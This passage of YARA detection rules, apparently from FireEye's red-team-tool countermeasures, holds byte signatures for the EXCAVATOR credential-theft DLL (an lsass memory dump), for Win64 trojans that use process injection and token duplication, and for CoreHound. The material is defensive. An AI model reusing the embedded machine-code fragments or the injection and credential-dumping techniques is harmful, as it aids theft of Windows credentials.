7F 48 ?? 66 0F 6F CA F3 0F 6F 40 ?? 66 0F EF C8 F3 0F 7F 48 ?? 66 0F 6F CA F3 0F 6F 40 ?? 66 0F EF C8 F3 0F 7F 48 ?? F3 0F 6F 40 ?? 66 0F EF C2 F3 0F 7F 40 ?? 48 83 E9 01 75 ?? FF 15 ?? ?? ?? ?? 4C 8D 44 24 ?? BA 0A 00 00 00 48 8B C8 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8D 45 ?? 41 B9 02 00 00 00 48 89 44 24 ?? 45 33 C0 C7 44 24 ?? 02 00 00 00 41 8D 51 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 45 33 C0 4C 8D 4C 24 ?? 33 C9 41 8D 50 ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 4C 8B 44 24 ?? 33 D2 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B F8 48 85 C0 0F 84 ?? ?? ?? ?? 45 33 C0 4C 8D 4C 24 ?? 48 8B C8 41 8D 50 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 4C 89 74 24 ?? 4C 8D 4C 24 ?? 4C 89 74 24 ?? 33 D2 41 B8 00 00 02 00 48 C7 44 24 ?? 08 00 00 00 48 8B CF FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4D ?? 48 8D 45 ?? 48 89 44 24 ?? 4C 8D 05 ?? ?? ?? ?? 48 8D 45 ?? 48 89 7D ?? 48 89 44 24 ?? 45 33 C9 4C 89 74 24 ?? 33 D2 4C 89 74 24 ?? C7 44 24 ?? 04 00 08 00 44 89 74 24 ?? 4C 89 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 ?? 8B 5D ?? FF 15 ?? ?? ?? ?? 48 8B 4D ?? FF 15 ?? ?? ?? ?? 48 8B 4D ?? FF 15 ?? ?? ?? ?? 44 8B C3 33 D2 B9 3A 04 00 00 FF 15 ?? ?? ?? ?? 48 8B D8 48 85 C0 74 ?? 48 8B C8 E8 ?? ?? ?? ?? 48 85 C0 74 ?? BA FF FF FF FF 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? B8 01 00 00 00 EB ?? FF 15 ?? ?? ?? ?? 8B D0 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 85 FF 74 ?? 48 8B CF FF 15 ?? ?? ?? ?? 33 C0 48 8B 9C 24 ?? ?? ?? ?? 48 8B 4D ?? 48 33 CC E8 ?? ?? ?? ?? 4C 8D 9C 24 ?? ?? ?? ?? 49 8B 73 ?? 49 8B 7B ?? 4D 8B 73 ?? 49 8B E3 5D C3 }
	condition:
		uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 and any of ( $bytes* )
}


rule FIREEYE_RT_Credtheft_Win_EXCAVATOR_2 : FILE
{
	meta:
		description = "This rule looks for the binary signature of the routine that calls PssFreeSnapshot found in the Excavator-Reflector DLL."
		author = "FireEye"
		id = "89037b9a-78b0-5a8c-bb60-3d54842d81e1"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/EXCAVATOR/production/yara/CredTheft_Win_EXCAVATOR_2.yar#L4-L18"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "6a9a114928554c26675884eeb40cc01b"
		logic_hash = "408e8862f0c470105648fdba00dc5531ffcd739fa544f89acb70f0fa1b105c03"
		score = 75
		quality = 75
		tags = "FILE"
		rev = 3
	strings:
		$bytes1 = { 4C 89 74 24 20 55 48 8D AC 24 60 FF FF FF 48 81 EC A0 01 00 00 48 8B 05 4C 4A 01 00 48 33 C4 48 89 85 90 00 00 00 BA 50 00 00 00 C7 05 CB 65 01 00 43 00 3A 00 66 89 15 EC 65 01 00 4C 8D 44 24 68 48 8D 15 D8 68 01 00 C7 05 B2 65 01 00 5C 00 57 00 33 C9 C7 05 AA 65 01 00 69 00 6E 00 C7 05 A4 65 01 00 64 00 6F 00 C7 05 9E 65 01 00 77 00 73 00 C7 05 98 65 01 00 5C 00 4D 00 C7 05 92 65 01 00 45 00 4D 00 C7 05 8C 65 01 00 4F 00 52 00 C7 05 86 65 01 00 59 00 2E 00 C7 05 80 65 01 00 44 00 4D 00 C7 05 72 68 01 00 53 00 65 00 C7 05 6C 68 01 00 44 00 65 00 C7 05 66 68 01 00 42 00 75 00 C7 05 60 68 01 00 47 00 50 00 C7 05 5A 68 01 00 72 00 69 00 C7 05 54 68 01 00 56 00 69 00 C7 05 4E 68 01 00 4C 00 45 00 C7 05 48 68 01 00 67 00 65 00 C7 05 12 67 01 00 6C 73 61 73 C7 05 0C 67 01 00 73 2E 65 78 C6 05 09 67 01 00 65 FF 15 63 B9 00 00 45 33 F6 85 C0 74 66 48 8B 44 24 68 48 89 44 24 74 C7 44 24 70 01 00 00 00 C7 44 24 7C 02 00 00 00 FF 15 A4 B9 00 00 48 8B C8 4C 8D 44 24 48 41 8D 56 20 FF 15 1A B9 00 00 85 C0 74 30 48 8B 4C 24 48 4C 8D 44 24 70 4C 89 74 24 28 45 33 C9 33 D2 4C 89 74 24 20 FF 15 EF B8 00 00 FF 15 11 B9 00 00 48 8B 4C 24 48 FF 15 16 B9 00 00 48 89 9C 24 B0 01 00 00 48 8D 0D BF 2E 01 00 48 89 B4 24 B8 01 00 00 4C 89 74 24 40 FF 15 1C B9 00 00 48 85 C0 0F 84 B0 00 00 00 48 8D 15 AC 2E 01 00 48 8B C8 FF 15 1B B9 00 00 48 8B D8 48 85 C0 0F 84 94 00 00 00 33 D2 48 8D 4D 80 41 B8 04 01 00 00 E8 06 15 00 00 48 8B 4C 24 40 48 8D 44 24 40 45 33 C9 48 89 44 24 20 45 33 C0 BA 00 00 00 02 FF D3 85 C0 75 63 66 0F 1F 44 00 00 48 8B 4C 24 40 4C 8D 45 80 41 B9 04 01 00 00 33 D2 FF 15 89 B8 00 00 48 8D 15 F2 65 01 00 48 8D 4D 80 E8 49 0F 00 00 48 85 C0 75 38 33 D2 48 8D 4D 80 41 B8 04 01 00 00 E8 A3 14 00 00 48 8B 4C 24 40 48 8D 44 24 40 45 33 C9 48 89 44 24 20 45 33 C0 BA 00 00 00 02 FF D3 85 C0 74 A3 33 C0 E9 F5 00 00 00 48 8B 5C 24 40 48 8B CB FF 15 5E B8 00 00 8B F0 48 85 DB 74 E4 85 C0 74 E0 4C 8D 4C 24 50 48 89 BC 24 C0 01 00 00 BA FD 03 00 AC 41 B8 1F 00 10 00 48 8B CB FF 15 12 B8 00 00 85 C0 0F 85 A0 00 00 00 48 8D 05 43 FD FF FF 4C 89 74 24 30 C7 44 24 28 80 00 00 00 48 8D 0D 3F 63 01 00 45 33 C9 48 89 44 24 58 45 33 C0 C7 44 24 20 01 00 00 00 BA 00 00 00 10 4C 89 74 24 60 FF 15 E4 B7 00 00 48 8B F8 48 83 F8 FF 74 59 48 8B 4C 24 50 48 8D 44 24 58 48 89 44 24 30 41 B9 02 00 00 00 4C 89 74 24 28 4C 8B C7 8B D6 4C 89 74 24 20 FF 15 B1 B9 00 00 48 8B CB FF 15 78 B7 00 00 48 8B CF FF 15 6F B7 00 00 FF 15 B1 B7 00 00 48 8B 54 24 50 48 8B C8 FF 15 53 B7 00 00 33 C9 FF 15 63 B7 00 00 CC 48 8B CB FF 15 49 B7 00 00 48 8B BC 24 C0 01 00 00 33 C0 48 8B B4 24 B8 01 00 00 48 8B 9C 24 B0 01 00 00 48 8B 8D 90 00 00 00 48 33 CC E8 28 00 00 00 4C 8B B4 24 C8 01 00 00 48 81 C4 A0 01 00 00 5D C3 }
		$bytes2 = { 4C 89 74 24 20 55 48 8D AC 24 60 FF FF FF 48 81 EC A? ?1 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 33 C4 48 89 85 9? ?? ?? ?0 BA ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 66 89 ?? ?? ?? ?? ?? 4C 8D 44 24 68 48 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 33 C9 C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 45 33 F6 85 C0 74 ?? 48 8B 44 24 68 48 89 44 24 74 C7 44 24 7? ?1 ?? ?? ?? C7 44 24 7C 02 ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B C8 4C 8D 44 24 48 41 8D 56 20 FF ?? ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 48 4C 8D 44 24 70 4C 89 74 24 28 45 33 C9 33 D2 4C 89 74 24 20 FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B 4C 24 48 FF ?? ?? ?? ?? ?? 48 89 9C 24 B? ?1 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 89 B4 24 B8 01 ?? ?? 4C 89 74 24 40 FF ?? ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B D8 48 85 C0 0F 84 ?? ?? ?? ?? 33 D2 48 8D 4D 80 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 40 48 8D 44 24 40 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 75 ?? 66 0F 1F 44 ?? ?? 48 8B 4C 24 40 4C 8D 45 80 41 ?? ?? ?? ?? ?? 33 D2 FF ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 8D 4D 80 E8 ?? ?? ?? ?? 48 85 C0 75 ?? 33 D2 48 8D 4D 80 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 40 48 8D 44 24 40 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 74 ?? 33 C0 E9 ?? ?? ?? ?? 48 8B 5C 24 40 48 8B CB FF ?? ?? ?? ?? ?? 8B F0 48 85 DB 74 ?? 85 C0 74 ?? 4C 8D 4C 24 50 48 89 BC 24 C? ?1 ?? ?? BA ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 4C 89 74 24 30 C7 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 45 33 C9 48 89 44 24 58 45 33 C0 C7 44 24 2? ?1 ?? ?? ?? BA ?? ?? ?? ?? 4C 89 74 24 60 FF ?? ?? ?? ?? ?? 48 8B F8 48 83 F8 FF 74 ?? 48 8B 4C 24 50 48 8D 44 24 58 48 89 44 24 30 41 B9 02 ?? ?? ?? 4C 89 74 24 28 4C 8B C7 8B D6 4C 89 74 24 20 FF ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? 48 8B CF FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B 54 24 50 48 8B C8 FF ?? ?? ?? ?? ?? 33 C9 FF ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? 48 8B BC 24 C? ?1 ?? ?? 33 C0 48 8B B4 24 B8 01 ?? ?? 48 8B 9C 24 B? ?1 ?? ?? 48 8B 8D 9? ?? ?? ?0 48 33 CC E8 ?? ?? ?? ?? 4C 8B B4 24 C8 01 ?? ?? 48 81 C4 A? ?1 ?? ?? 5D C3 }
		$bytes3 = { 4C 89 74 24 20 55 48 8D AC 24 60 FF FF FF 48 81 EC A? ?1 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 33 C4 48 89 85 9? ?? ?? ?0 BA ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 66 89 ?? ?? ?? ?? ?? 4C 8D 44 24 68 48 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 33 C9 C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 45 33 F6 85 C0 74 ?? 48 8B 44 24 68 48 89 44 24 74 C7 44 24 7? ?1 ?? ?? ?? C7 44 24 7C 02 ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B C8 4C 8D 44 24 48 41 8D 56 20 FF ?? ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 48 4C 8D 44 24 70 4C 89 74 24 28 45 33 C9 33 D2 4C 89 74 24 20 FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B 4C 24 48 FF ?? ?? ?? ?? ?? 48 89 9C 24 B? ?1 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 89 B4 24 B8 01 ?? ?? 4C 89 74 24 40 FF ?? ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B D8 48 85 C0 0F 84 ?? ?? ?? ?? 33 D2 48 8D 4D 80 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 40 48 8D 44 24 40 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 75 ?? 66 0F 1F 44 ?? ?? 48 8B 4C 24 40 4C 8D 45 80 41 ?? ?? ?? ?? ?? 33 D2 FF ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 8D 4D 80 E8 ?? ?? ?? ?? 48 85 C0 75 ?? 33 D2 48 8D 4D 80 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 40 48 8D 44 24 40 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 74 ?? 33 C0 E9 ?? ?? ?? ?? 48 8B 5C 24 40 48 8B CB FF ?? ?? ?? ?? ?? 8B F0 48 85 DB 74 ?? 85 C0 74 ?? 4C 8D 4C 24 50 48 89 BC 24 C? ?1 ?? ?? BA ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 4C 89 74 24 30 C7 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 45 33 C9 48 89 44 24 58 45 33 C0 C7 44 24 2? ?1 ?? ?? ?? BA ?? ?? ?? ?? 4C 89 74 24 60 FF ?? ?? ?? ?? ?? 48 8B F8 48 83 F8 FF 74 ?? 48 8B 4C 24 50 48 8D 44 24 58 48 89 44 24 30 41 B9 02 ?? ?? ?? 4C 89 74 24 28 4C 8B C7 8B D6 4C 89 74 24 20 FF ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? 48 8B CF FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B 54 24 50 48 8B C8 FF ?? ?? ?? ?? ?? 33 C9 FF ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? 48 8B BC 24 C? ?1 ?? ?? 33 C0 48 8B B4 24 B8 01 ?? ?? 48 8B 9C 24 B? ?1 ?? ?? 48 8B 8D 9? ?? ?? ?0 48 33 CC E8 ?? ?? ?? ?? 4C 8B B4 24 C8 01 ?? ?? 48 81 C4 A? ?1 ?? ?? 5D C3 }
		$bytes4 = { 4C 89 74 24 ?? 55 48 8D AC 24 ?? ?? ?? ?? 48 81 EC A0 01 00 00 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 85 ?? ?? ?? ?? BA 50 00 00 00 C7 05 ?? ?? ?? ?? 43 00 3A 00 66 89 15 ?? ?? 01 00 4C 8D 44 24 ?? 48 8D 15 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 5C 00 57 00 33 C9 C7 05 ?? ?? ?? ?? 69 00 6E 00 C7 05 ?? ?? ?? ?? 64 00 6F 00 C7 05 ?? ?? ?? ?? 77 00 73 00 C7 05 ?? ?? ?? ?? 5C 00 4D 00 C7 05 ?? ?? ?? ?? 45 00 4D 00 C7 05 ?? ?? ?? ?? 4F 00 52 00 C7 05 ?? ?? ?? ?? 59 00 2E 00 C7 05 ?? ?? ?? ?? 44 00 4D 00 C7 05 ?? ?? ?? ?? 53 00 65 00 C7 05 ?? ?? ?? ?? 44 00 65 00 C7 05 ?? ?? ?? ?? 42 00 75 00 C7 05 ?? ?? ?? ?? 47 00 50 00 C7 05 ?? ?? ?? ?? 72 00 69 00 C7 05 ?? ?? ?? ?? 56 00 69 00 C7 05 ?? ?? ?? ?? 4C 00 45 00 C7 05 ?? ?? ?? ?? 67 00 65 00 C7 05 ?? ?? ?? ?? 6C 73 61 73 C7 05 ?? ?? ?? ?? 73 2E 65 78 C6 05 ?? ?? ?? ?? 65 FF 15 ?? ?? ?? ?? 45 33 F6 85 C0 74 ?? 48 8B 44 24 ?? 48 89 44 24 ?? C7 44 24 ?? 01 00 00 00 C7 44 24 ?? 02 00 00 00 FF 15 ?? ?? ?? ?? 48 8B C8 4C 8D 44 24 ?? 41 8D 56 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 ?? 4C 8D 44 24 ?? 4C 89 74 24 ?? 45 33 C9 33 D2 4C 89 74 24 ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 B4 24 ?? ?? ?? ?? 4C 89 74 24 ?? FF 15 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B D8 48 85 C0 0F 84 ?? ?? ?? ?? 33 D2 48 8D 4D ?? 41 B8 04 01 00 00 E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8D 44 24 ?? 45 33 C9 48 89 44 24 ?? 45 33 C0 BA 00 00 00 02 FF D3 85 C0 75 ?? 66 0F 1F 44 00 ?? 48 8B 4C 24 ?? 4C 8D 45 ?? 41 B9 04 01 00 00 33 D2 FF 15 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 48 85 C0 75 ?? 33 D2 48 8D 4D ?? 41 B8 04 01 00 00 E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8D 44 24 ?? 45 33 C9 48 89 44 24 ?? 45 33 C0 BA 00 00 00 02 FF D3 85 C0 74 ?? 33 C0 E9 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 8B CB FF 15 ?? ?? ?? ?? 8B F0 48 85 DB 74 ?? 85 C0 74 ?? 4C 8D 4C 24 ?? 48 89 BC 24 ?? ?? ?? ?? BA FD 03 00 AC 41 B8 1F 00 10 00 48 8B CB FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 4C 89 74 24 ?? C7 44 24 ?? 80 00 00 00 48 8D 0D ?? ?? ?? ?? 45 33 C9 48 89 44 24 ?? 45 33 C0 C7 44 24 ?? 01 00 00 00 BA 00 00 00 10 4C 89 74 24 ?? FF 15 ?? ?? ?? ?? 48 8B F8 48 83 F8 FF 74 ?? 48 8B 4C 24 ?? 48 8D 44 24 ?? 48 89 44 24 ?? 41 B9 02 00 00 00 4C 89 74 24 ?? 4C 8B C7 8B D6 4C 89 74 24 ?? FF 15 ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B 54 24 ?? 48 8B C8 FF 15 ?? ?? ?? ?? 33 C9 FF 15 ?? ?? ?? ?? CC 48 8B CB FF 15 ?? ?? ?? ?? 48 8B BC 24 ?? ?? ?? ?? 33 C0 48 8B B4 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 4C 8B B4 24 ?? ?? ?? ?? 48 81 C4 A0 01 00 00 5D C3 }
	condition:
		uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 and any of ( $bytes* )
}


rule FIREEYE_RT_Trojan_Win64_Generic_22 : FILE
{
	meta:
		description = "No description has been set in the source file - FireEye-RT"
		author = "FireEye"
		id = "e79661a8-5254-5e8e-b92b-edf1ddb072ff"
		date = "2020-11-26"
		date = "2020-11-26"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/EXCAVATOR/supplemental/yara/Trojan_Win64_Generic_22.yar#L4-L22"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "f7d9961463b5110a3d70ee2e97842ed3"
		logic_hash = "52fbe5c0ee7c05df5fcd62c26caaa5498e32352da9c5940e522aa31d6c808028"
		score = 75
		quality = 75
		tags = "FILE"
		rev = 2
	strings:
		$api1 = "VirtualAllocEx" fullword
		$api2 = "UpdateProcThreadAttribute" fullword
		$api3 = "DuplicateTokenEx" fullword
		$api4 = "CreateProcessAsUserA" fullword
		$inject = { C7 44 24 20 40 00 00 00 33 D2 41 B9 00 30 00 00 41 B8 [4] 48 8B CB FF 15 [4] 48 8B F0 48 85 C0 74 ?? 4C 89 74 24 20 41 B9 [4] 4C 8D 05 [4] 48 8B D6 48 8B CB FF 15 [4] 85 C0 75 [5-10] 4C 8D 0C 3E 48 8D 44 24 ?? 48 89 44 24 30 44 89 74 24 28 4C 89 74 24 20 33 D2 41 B8 [4] 48 8B CB FF 15 }
		$process = { 89 74 24 30 ?? 8D 4C 24 [2] 89 74 24 28 33 D2 41 B8 00 00 02 00 48 C7 44 24 20 08 00 00 00 48 8B CF FF 15 [4] 85 C0 0F 84 [4] 48 8B [2-3] 48 8D 45 ?? 48 89 44 24 50 4C 8D 05 [4] 48 8D 45 ?? 48 89 7D 08 48 89 44 24 48 45 33 C9 ?? 89 74 24 40 33 D2 ?? 89 74 24 38 C7 44 24 30 04 00 08 00 [0-1] 89 74 24 28 ?? 89 74 24 20 FF 15 }
		$token = { FF 15 [4] 4C 8D 44 24 ?? BA 0A 00 00 00 48 8B C8 FF 15 [4] 85 C0 0F 84 [4] 48 8B 4C 24 ?? 48 8D [2-3] 41 B9 02 00 00 00 48 89 44 24 28 45 33 C0 C7 44 24 20 02 00 00 00 41 8D 51 09 FF 15 [4] 85 C0 0F 84 [4] 45 33 C0 4C 8D 4C 24 ?? 33 C9 41 8D 50 01 FF 15 }
	condition:
		(( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) ) and all of them
}

rule FIREEYE_RT_Trojan_Win64_Generic_23 : FILE
{
	meta:
		description = "No description has been set in the source file - FireEye-RT"
		author = "FireEye"
		id = "470bfeed-e000-58c6-b115-dfa8aea25bef"
		date = "2020-12-02"
		date = "2020-12-02"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/EXCAVATOR/supplemental/yara/Trojan_Win64_Generic_23.yar#L4-L22"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "b66347ef110e60b064474ae746701d4a"
		logic_hash = "4c1860801b26abbab8c4aea730bf69f388c902083b9945e11e6782af3ab22789"
		score = 75
		quality = 75
		tags = "FILE"
		rev = 1
	strings:
		$api1 = "VirtualAllocEx" fullword
		$api2 = "UpdateProcThreadAttribute" fullword
		$api3 = "DuplicateTokenEx" fullword
		$api4 = "CreateProcessAsUserA" fullword
		$inject = { 8B 85 [4] C7 44 24 20 40 00 00 00 41 B9 00 30 00 00 44 8B C0 33 D2 48 8B 8D [4] FF 15 [4] 48 89 45 ?? 48 83 7D ?? 00 75 ?? 48 8B 45 ?? E9 [4] 8B 85 [4] 48 C7 44 24 20 00 00 00 00 44 8B C8 4C 8B 85 [4] 48 8B 55 ?? 48 8B 8D [4] FF 15 [4] 85 C0 75 ?? 48 8B 45 ?? EB ?? 8B 85 [4] 48 8B 4D ?? 48 03 C8 48 8B C1 48 89 45 48 48 8D 85 [4] 48 89 44 24 30 C7 44 24 28 00 00 00 00 48 8B 85 [4] 48 89 44 24 20 4C 8B 4D ?? 41 B8 00 00 10 00 33 D2 48 8B 8D [4] FF 15 }
		$process = { 48 C7 44 24 30 00 00 00 00 48 C7 44 24 28 00 00 00 00 48 C7 44 24 20 08 00 00 00 4C 8D 8D [4] 41 B8 00 00 02 00 33 D2 48 8B 8D [4] FF 15 [4] 85 C0 75 ?? E9 [4] 48 8B 85 [4] 48 89 85 [4] 48 8D 85 [4] 48 89 44 24 50 48 8D 85 [4] 48 89 44 24 48 48 C7 44 24 40 00 00 00 00 48 C7 44 24 38 00 00 00 00 C7 44 24 30 04 00 08 00 C7 44 24 28 00 00 00 00 48 C7 44 24 20 00 00 00 00 45 33 C9 4C 8D 05 [4] 33 D2 48 8B [2-5] FF 15 }
		$token = { FF 15 [4] 4C 8D 45 ?? BA 0A 00 00 00 48 8B C8 FF 15 [4] 85 C0 75 ?? E9 [4] 48 8D [2-5] 48 89 44 24 28 C7 44 24 20 02 00 00 00 41 B9 02 00 00 00 45 33 C0 BA 0B 00 00 00 48 8B 4D ?? FF 15 [4] 85 C0 75 ?? E9 [4] 4C 8D 8D [4] 45 33 C0 BA 01 00 00 00 33 C9 FF 15 }
	condition:
		(( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) ) and all of them
}

rule FIREEYE_RT_Hacktool_MSIL_Corehound_1 : FILE
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'CoreHound' project."
		author = "FireEye"
		id = "8c914b34-3e3d-53ae-a5e4-9dbfdff45a24"
		date = "2020-12-08"
		modified = "2020-12-09"
		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/COREHOUND/production/yara/HackTool_MSIL_CoreHound_1.yar#L4-L15"
		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
		hash = "dd8805d0e470e59b829d98397507d8c2"
		logic_hash = "b0f759709428d5c9404507a13259bf85cb8c405d38b807539098f7cc871023d8"
		score = 75
		quality = 73
		tags = "FILE"
		rev = 1
	strings:
		$typelibguid0 = "1fff2aee-a540-4613-94ee-4f208b30c599" ascii nocase wide
	condition:
